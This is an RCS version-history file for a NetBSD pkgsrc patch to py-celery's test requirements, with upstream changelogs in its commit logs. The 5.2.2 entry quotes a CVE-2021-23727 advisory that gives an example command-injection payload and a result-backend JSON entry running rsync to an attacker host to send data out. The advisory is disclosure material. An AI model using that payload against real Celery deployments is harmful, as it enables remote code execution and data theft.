head 1.5; access; symbols pkgsrc-2023Q4:1.4.0.16 pkgsrc-2023Q4-base:1.4 pkgsrc-2023Q3:1.4.0.14 pkgsrc-2023Q3-base:1.4 pkgsrc-2023Q2:1.4.0.12 pkgsrc-2023Q2-base:1.4 pkgsrc-2023Q1:1.4.0.10 pkgsrc-2023Q1-base:1.4 pkgsrc-2022Q4:1.4.0.8 pkgsrc-2022Q4-base:1.4 pkgsrc-2022Q3:1.4.0.6 pkgsrc-2022Q3-base:1.4 pkgsrc-2022Q2:1.4.0.4 pkgsrc-2022Q2-base:1.4 pkgsrc-2022Q1:1.4.0.2 pkgsrc-2022Q1-base:1.4 pkgsrc-2020Q1:1.2.0.6 pkgsrc-2020Q1-base:1.2 pkgsrc-2019Q4:1.2.0.8 pkgsrc-2019Q4-base:1.2 pkgsrc-2019Q3:1.2.0.4 pkgsrc-2019Q3-base:1.2 pkgsrc-2019Q2:1.2.0.2 pkgsrc-2019Q2-base:1.2 pkgsrc-2019Q1:1.1.0.6 pkgsrc-2019Q1-base:1.1 pkgsrc-2018Q4:1.1.0.4 pkgsrc-2018Q4-base:1.1 pkgsrc-2018Q3:1.1.0.2 pkgsrc-2018Q3-base:1.1; locks; strict; comment @# @; 1.5 date 2024.02.09.06.06.40; author adam; state dead; branches; next 1.4; commitid Hz091P8btV5QNIXE; 1.4 date 2022.02.15.16.24.57; author wiz; state Exp; branches; next 1.3; commitid abfEMekIA8FEuJsD; 1.3 date 2020.05.17.19.36.41; author adam; state dead; branches; next 1.2; commitid o6BPR0NHDmpY5D8C; 1.2 date 2019.04.05.12.55.50; author adam; state Exp; branches; next 1.1; commitid jrA5Y1qqyR3xZ9iB; 1.1 date 2018.07.06.07.51.21; author adam; state Exp; branches; next ; commitid qjBYZKLsSzEt53JA; desc @@ 1.5 log @py-celery: updated to 5.3.6 5.3.6 This release is focused mainly to fix AWS SQS new feature comatibility issue and old regressions. The code changes are mostly fix for regressions. More details can be found below. What's Changed - Increased docker-build CI job timeout from 30m -> 60m - Incredibly minor spelling fix. - Fix non-zero exit code when receiving remote shutdown - Update task.py get_custom_headers missing 'compression' key - Update kombu>=5.3.4 to fix SQS request compatibility with boto JSON serializer - test requirements version update - Update elasticsearch version - Propagates more ImportErrors during autodiscovery 5.3.5 What's Changed - Update test.txt versions - fix os.getcwd() FileNotFoundError - Fix typo in CONTRIBUTING.rst - typo(doc): configuration.rst - assert before raise - Update GHA checkout version - Fixed replaced_task_nesting - Fix code indentation for route_task() example - support redis 5.x - Fix typos in test_canvas.py - Marked flaky tests - Fix typos in calling.rst - Added support for replaced_task_nesting in chains - Fix typos in canvas.rst - Patch Version Release Checklist - Added Python 3.11 support to Dockerfile - Dependabot (Celery) - Bump actions/checkout from 3 to 4 - Update ETA example to include timezone - Replaces datetime.fromisoformat with the more lenient dateutil parser - Fixed indentation in Dockerfile for Python 3.11 - Fix git bug in Dockerfile - Tox lint upgrade from Python 3.9 to Python 3.11 - Document gevent concurrency - Update test.txt - Celery Docker Upgrades - pyupgrade upgrade v3.11.0 -> v3.13.0 - Update msgpack.txt - Update auth.txt - Update msgpack.txt to fix build issues - Basic ElasticSearch / ElasticClient 8.x Support - Fix eager tasks does not populate name field - Fix typo in celery.app.control - Update solar.txt ephem - Update test.txt pytest-timeout - Correct some mypy errors - Update elasticsearch.txt - Update test.txt deps - Update test.txt - Improved the "Next steps" documentation. - Disabled couchbase tests due to broken package breaking main - Update elasticsearch deps - Update cryptography==41.0.5 - Update pytest==7.4.3 - test initial support of python 3.12.x - updated new versions to fix CI - Update zstd.txt - Fixed CI Support with Python 3.12 - updated CI, docs and classifier for next release - updated dockerfile to add python 3.12 - lint,mypy,docker-unit-tests -> Python 3.12 - Correct type of `request` in `task_revoked` documentation - update docs docker image - Fixed RecursionError caused by giving `config_from_object` nested mod… - Fix: serialization error when gossip working * [documentation] broker_connection_max_retries of 0 does not mean "retry forever" - added 2 debian package for better stability in Docker @ text @$NetBSD: patch-requirements_test.txt,v 1.4 2022/02/15 16:24:57 wiz Exp $ Relax restrictions. --- requirements/test.txt.orig 2021-11-21 13:37:38.000000000 +0000 +++ requirements/test.txt @@@@ -1,7 +1,7 @@@@ -pytest~=6.2 +pytest pytest-celery pytest-subtests -pytest-timeout~=1.4.2 +pytest-timeout boto3>=1.9.178 moto>=2.2.6 pre-commit @ 1.4 log @py-celery: update to 5.2.3. 5.2.3 ===== - Allow redis >= 4.0.2. - Upgrade minimum required pymongo version to 3.11.1. - tested pypy3.8 beta (#6998). - Split Signature.__or__ into subclasses' __or__ (#7135). - Prevent duplication in event loop on Consumer restart. - Restrict setuptools>=59.1.1,<59.7.0. - Kombu bumped to v5.2.3 - py-amqp bumped to v5.0.9 - Some docs & CI improvements. 5.2.2 ===== - Various documentation fixes. - Fix CVE-2021-23727 (Stored Command Injection security vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: ``os.system("rsync /data attacker@@192.168.56.100:~/data")`` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload ``rsync /data attacker@@192.168.56.100:~/data`` as the exception arguments like so: .. code-block:: python { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading. 5.2.1 ===== - Fix rstrip usage on bytes instance in ProxyLogger. - Pass logfile to ExecStop in celery.service example systemd file. - fix: reduce latency of AsyncResult.get under gevent (#7052) - Limit redis version: <4.0.0. - Bump min kombu version to 5.2.2. - Change pytz>dev to a PEP 440 compliant pytz>0.dev.0. - Remove dependency to case (#7077). - fix: task expiration is timezone aware if needed (#7065). - Initial testing of pypy-3.8 beta to CI. - Docs, CI & tests cleanups. 5.2.0 ===== - Prevent from subscribing to empty channels (#7040) - fix register_task method. - Fire task failure signal on final reject (#6980) - Limit pymongo version: <3.12.1 (#7041) - Bump min kombu version to 5.2.1 5.2.0rc2 ======== - Bump Python 3.10.0 to rc2. - [pre-commit.ci] pre-commit autoupdate (#6972). - autopep8. - Prevent worker to send expired revoked items upon hello command (#6975). - docs: clarify the 'keeping results' section (#6979). - Update deprecated task module removal in 5.0 documentation (#6981). - [pre-commit.ci] pre-commit autoupdate. - try python 3.10 GA. - mention python 3.10 on readme. - Documenting the default consumer_timeout value for rabbitmq >= 3.8.15. - Azure blockblob backend parametrized connection/read timeouts (#6978). - Add as_uri method to azure block blob backend. - Add possibility to override backend implementation with celeryconfig (#6879). - [pre-commit.ci] pre-commit autoupdate. - try to fix deprecation warning. - [pre-commit.ci] pre-commit autoupdate. - not needed anyore. - not needed anyore. - not used anymore. - add github discussions forum 5.2.0rc1 ======== - Kill all workers when main process exits in prefork model (#6942). - test kombu 5.2.0rc1 (#6947). - try moto 2.2.x (#6948). - Prepared Hacker News Post on Release Action. - update setup with python 3.7 as minimum. - update kombu on setupcfg. - Added note about automatic killing all child processes of worker after its termination. - [pre-commit.ci] pre-commit autoupdate. - Move importskip before greenlet import (#6956). - amqp: send expiration field to broker if requested by user (#6957). - Single line drift warning. - canvas: fix kwargs argument to prevent recursion (#6810) (#6959). - Allow to enable Events with app.conf mechanism. - Warn when expiration date is in the past. - Add the Framework :: Celery trove classifier. - Give indication whether the task is replacing another (#6916). - Make setup.py executable. - Bump version: 5.2.0b3 → 5.2.0rc1. 5.2.0b3 ======= - Add args to LOG_RECEIVED (fixes #6885) (#6898). - Terminate job implementation for eventlet concurrency backend (#6917). - Add cleanup implementation to filesystem backend (#6919). - [pre-commit.ci] pre-commit autoupdate (#69). - Add before_start hook (fixes #4110) (#6923). - Restart consumer if connection drops (#6930). - Remove outdated optimization documentation (#6933). - added https verification check functionality in arangodb backend (#6800). - Drop Python 3.6 support. - update supported python versions on readme. - [pre-commit.ci] pre-commit autoupdate (#6935). - Remove appveyor configuration since we migrated to GA. - pyugrade is now set to upgrade code to 3.7. - Drop exclude statement since we no longer test with pypy-3.6. - 3.10 is not GA so it's not supported yet. - Celery 5.1 or earlier support Python 3.6. - Fix linting error. - fix: Pass a Context when chaining fail results (#6899). - Bump version: 5.2.0b2 → 5.2.0b3. 5.2.0b2 ======= - Test windows on py3.10rc1 and pypy3.7 (#6868). - Route chord_unlock task to the same queue as chord body (#6896). - Add message properties to app.tasks.Context (#6818). - handle already converted LogLevel and JSON (#6915). - 5.2 is codenamed dawn-chorus. - Bump version: 5.2.0b1 → 5.2.0b2. 5.2.0b1 ======= - Add Python 3.10 support (#6807). - Fix docstring for Signal.send to match code (#6835). - No blank line in log output (#6838). - Chords get body_type independently to handle cases where body.type does not exist (#6847). - Fix #6844 by allowing safe queries via app.inspect().active() (#6849). - Fix multithreaded backend usage (#6851). - Fix Open Collective donate button (#6848). - Fix setting worker concurrency option after signal (#6853). - Make ResultSet.on_ready promise hold a weakref to self (#6784). - Update configuration.rst. - Discard jobs on flush if synack isn't enabled (#6863). - Bump click version to 8.0 (#6861). - Amend IRC network link to Libera (#6837). - Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (#6872). - Fix inspect --json output to return valid json without --quiet. - Remove celery.task references in modules, docs (#6869). - The Consul backend must correctly associate requests and responses (#6823). @ text @d1 1 a1 1 $NetBSD$ @ 1.3 log @py-celery: updated to 4.4.2 4.4.0 ======= - This version is officially supported on CPython 2.7, 3.5, 3.6, 3.7 & 3.8 and is also supported on PyPy2 & PyPy3. - Kombu 4.6.7 - Task class definitions can have retry attributes 4.4.0rc5 ======== - Kombu 4.6.7 - Events bootstep disabled if no events - SQS - Reject on failure - Add a concurrency model with ThreadPoolExecutor - Add auto expiry for DynamoDB backend - Store extending result in all backends - Fix a race condition when publishing a very large chord header - Improve docs and test matrix 4.4.0rc4 ======== - Kombu 4.6.6 - Py-AMQP 2.5.2 - Python 3.8 - Numerious bug fixes - PyPy 7.2 4.4.0rc3 ======== - Kombu 4.6.4 - Billiard 3.6.1 - Py-AMQP 2.5.1 - Avoid serializing datetime - Fix: (group() | group()) not equals single group - Revert "Broker connection uses the heartbeat setting from app config. - Additional file descriptor safety checks. - fixed call for null args - Added generic path for cache backend. - Fix Nested group(chain(group)) fails - Use self.run() when overriding __call__ - Fix termination of asyncloop - Fix migrate task to work with both v1 and v2 of the message protocol. - Updating task_routes config during runtime now have effect. 4.4.0rc2 ======== - Many bugs and regressions fixed. - Kombu 4.6.3 4.4.0rc1 ======== - Python 3.4 drop - Kombu 4.6.1 - Replace deprecated PyMongo methods usage - Pass task request when calling update_state - Fix bug in remaining time calculation in case of DST time change - Fix missing task name when requesting extended result - Fix `collections` import issue on Python 2.7 - handle `AttributeError` in base backend exception deserializer - Make `AsynPool`'s `proc_alive_timeout` configurable - AMQP Support for extended result - Fix SQL Alchemy results backend to work with extended result - Fix restoring of exceptions with required param - Django: Re-raise exception if `ImportError` not caused by missing tasks module - Django: fixed a regression putting DB connections in invalid state when `CONN_MAX_AGE != 0` - Fixed `OSError` leading to lost connection to broker - Fixed an issue with inspect API unable get details of Request - Fix mogodb backend authentication - Change column type for Extended Task Meta args/kwargs to LargeBinary - Handle http_auth in Elasticsearch backend results - Fix task serializer being ignored with `task_always_eager=True` - Fix `task.replace` to work in `.apply() as well as `.apply_async()` - Fix sending of `worker_process_init` signal for solo worker - Fix exception message upacking - Add delay parameter function to beat_schedule - Multiple documentation updates @ text @d1 1 a1 1 $NetBSD: patch-requirements_test.txt,v 1.2 2019/04/05 12:55:50 adam Exp $ d3 1 a3 1 Allow newer pytest. d5 1 a5 1 --- requirements/test.txt.orig 2019-03-27 10:38:49.000000000 +0000 d7 10 a16 6 @@@@ -1,4 +1,4 @@@@ case>=1.3.1 -pytest>=4.3.1,<4.4.0 +pytest>=4.3.1 boto3>=1.4.6 moto==1.3.7 @ 1.2 log @py-celery: updated to 4.3.0 4.3.0: - Added support for broadcasting using a regular expression pattern or a glob pattern to multiple Pidboxes. - Added support for PEP 420 namespace packages. - Added :setting:acks_on_failure_or_timeout as a setting instead of a task only option. - Added the :signal:task_received signal. - Fixed a crash of our CLI that occurred for everyone using Python < 3.6. - Fixed a crash that occurred when using the Redis result backend while the :setting:result_expires is set to None. - Added support the DNS seedlist connection format for the MongoDB result backend. - Bump the minimum eventlet version to 0.24.1. - Replace the msgpack-python package with msgpack. - Allow scheduling error handlers which are not registered tasks in the current worker. - Additional fixes and enhancements to the SSL support of the Redis broker and result backend. @ text @d1 1 a1 1 $NetBSD: patch-requirements_test.txt,v 1.1 2018/07/06 07:51:21 adam Exp $ @ 1.1 log @py-celery: Fix for Python 3.7 (async is a reserved keyword) @ text @d1 1 a1 1 $NetBSD$ d5 1 a5 1 --- requirements/test.txt.orig 2018-05-21 08:01:42.000000000 +0000 d7 1 a7 1 @@@@ -1,2 +1,2 @@@@ d9 4 a12 2 -pytest>=3.0,<3.3 +pytest>=3.0 @